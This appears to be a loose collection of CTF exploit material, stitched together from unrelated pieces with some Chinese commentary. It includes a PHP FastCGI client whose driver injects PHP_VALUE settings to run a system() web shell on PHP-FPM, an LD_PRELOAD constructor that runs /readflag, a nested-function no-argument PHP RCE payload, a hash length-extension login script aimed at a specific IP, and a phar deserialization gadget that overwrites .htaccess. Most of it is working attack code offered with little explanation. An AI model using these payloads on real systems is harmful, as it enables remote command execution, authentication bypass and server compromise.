* @return Integer number of milliseconds before read will timeout
*/
public function getReadWriteTimeout()
{
return $this->_readWriteTimeout;
}
/**
* Helper to avoid duplicating milliseconds to secs/usecs in a few places
*
* @param Integer millisecond timeout
* @return Boolean
*/
private function set_ms_timeout($timeoutMs) {
if (!$this->_sock) {
return false;
}
return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
if ($this->_persistentSocket) {
$this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
} else {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
}
if (!$this->_sock) {
throw new \Exception('Unable to connect to FastCGI application: ' . $errstr);
}
if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
throw new \Exception('Unable to set timeout on socket');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && ($buf=fread($this->_sock, $len)) !== false) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf = fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new \Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$id = $this->async_request($params, $stdin);
return $this->wait_for_response($id);
}
/**
* Execute a request to the FastCGI application asyncronously
*
* This sends request to application and returns the assigned ID for that request.
*
* You should keep this id for later use with wait_for_response(). Ids are chosen randomly
* rather than seqentially to guard against false-positives when using persistent sockets.
* In that case it is possible that a delayed response to a request made by a previous script
* invocation comes back on this socket and is mistaken for response to request made with same ID
* during this request.
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return Integer
*/
public function async_request(array $params, $stdin)
{
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand(1, (1 << 16) - 1);
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
$request = $this->buildPacket(self::BEGIN_REQUEST
,chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
,$id
);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
$info = stream_get_meta_data($this->_sock);
if ($info['timed_out']) {
throw new TimedOutException('Write timed out');
}
// Broken pipe, tear down so future requests might succeed
fclose($this->_sock);
throw new \Exception('Failed to write request to socket');
}
$this->_requests[$id] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
/**
* Blocking call that waits for response to specific request
*
* @param Integer $requestId
* @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
* @return string response body
*/
public function wait_for_response($requestId, $timeoutMs = 0) {
if (!isset($this->_requests[$requestId])) {
throw new \Exception('Invalid request id given');
}
// If we already read the response during an earlier call for different id, just return it
if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK
|| $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[$requestId]['response'];
}
if ($timeoutMs > 0) {
// Reset timeout on socket for now
$this->set_ms_timeout($timeoutMs);
} else {
$timeoutMs = $this->_readWriteTimeout;
}
// Need to manually check since we might do several reads none of which timeout themselves
// but still not get the response requested
$startTime = microtime(true);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
if ($resp['type'] == self::STDERR) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[$resp['requestId']]['response'] .= $resp['content'];
}
if ($resp['type'] == self::END_REQUEST) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
if ($resp['requestId'] == $requestId) {
break;
}
}
if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
// Reset
$this->set_ms_timeout($this->_readWriteTimeout);
throw new \Exception('Timed out');
}
} while ($resp);
if (!is_array($resp)) {
$info = stream_get_meta_data($this->_sock);
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout($this->_readWriteTimeout);
if ($info['timed_out']) {
throw new TimedOutException('Read timed out');
}
if ($info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof']) {
throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
}
throw new \Exception('Read failed');
}
// Reset timeout
$this->set_ms_timeout($this->_readWriteTimeout);
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new \Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new \Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new \Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $this->_requests[$requestId]['response'];
}
}
}
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
if (strpos($_REQUEST['host'], 'unix://') !== false) {
$client = new Client($_REQUEST['host']);
}else{
$client = new Client($_REQUEST['host'], $_REQUEST['port']);
}
$code = "<?php system(\$_REQUEST['command']);?>"; // php payload
if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
}else{
$php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = php://input\ndisable_function=";
}
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
echo "Call: $uri\n\n";
echo strstr($client->request($params, $code), "PHP Version", true)."\n";
?>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/Sndav/flag");
}
`
使用xxxbaidu.com绕过校验,考虑如何通过正则样子的函数,读取到flag。
url=http://ip/?code=echo(readfile(end(scandir(pos(localeconv())))));
可以列目录,但是读上一层的文件要么拼接字符串"../index.php",要么就chroot/chdir。
chroot/chdir会返回一个true,还需要有另一个函数可以处理这个参数。决定使用 true->1->46->'.',这个思路,最终payload
url=http%3A%2F%2FIP%2Frua.php%3Fcode%3Decho(readfile(end(scandir(chr(floor(sqrt(sinh(sqrt(sinh(sinh(sinh(asin(ceil(ceil(chdir(next(scandir(pos(localeconv())))))))))))))))))))%3B
#!/usr/bin/env python # -*- coding: utf-8 -*- import hashpumpy import requests # ?*8 adminadmin result = hashpumpy.hashpump('52107b08c0f3342d2153ae1d68e6262c', 'adminadmin', 'a', 8) from urllib import * data = { 'username':'admin', 'password': quote(result[1][5:]) } cookies = { 'PHPSESSID':'1tdp5bqfks5mcsnbrjcbff90rs', 'user':result[0] } a = requests.post('http://112.126.102.158:9999/index.php',data=data,cookies=cookies) print cookies
<?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); //include "config.php"; //@unlink("phar.phar"); class Profile{ public $username; public $password; public $admin; } class File{ public $filename; public $filepath; public $checker; } $phar = new Phar("sissel_lala.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new File(); $o->filename = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/c77e74e3c317a8fb80b46d0a4ada6473.sissel"; $o->filepath = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess"; $o->checker = new Profile(); $o->checker->username = "/var/www/html/sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess"; $o->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE; $o->checker->admin = new ZipArchive(); //$o = serialize($o); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("aaa.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();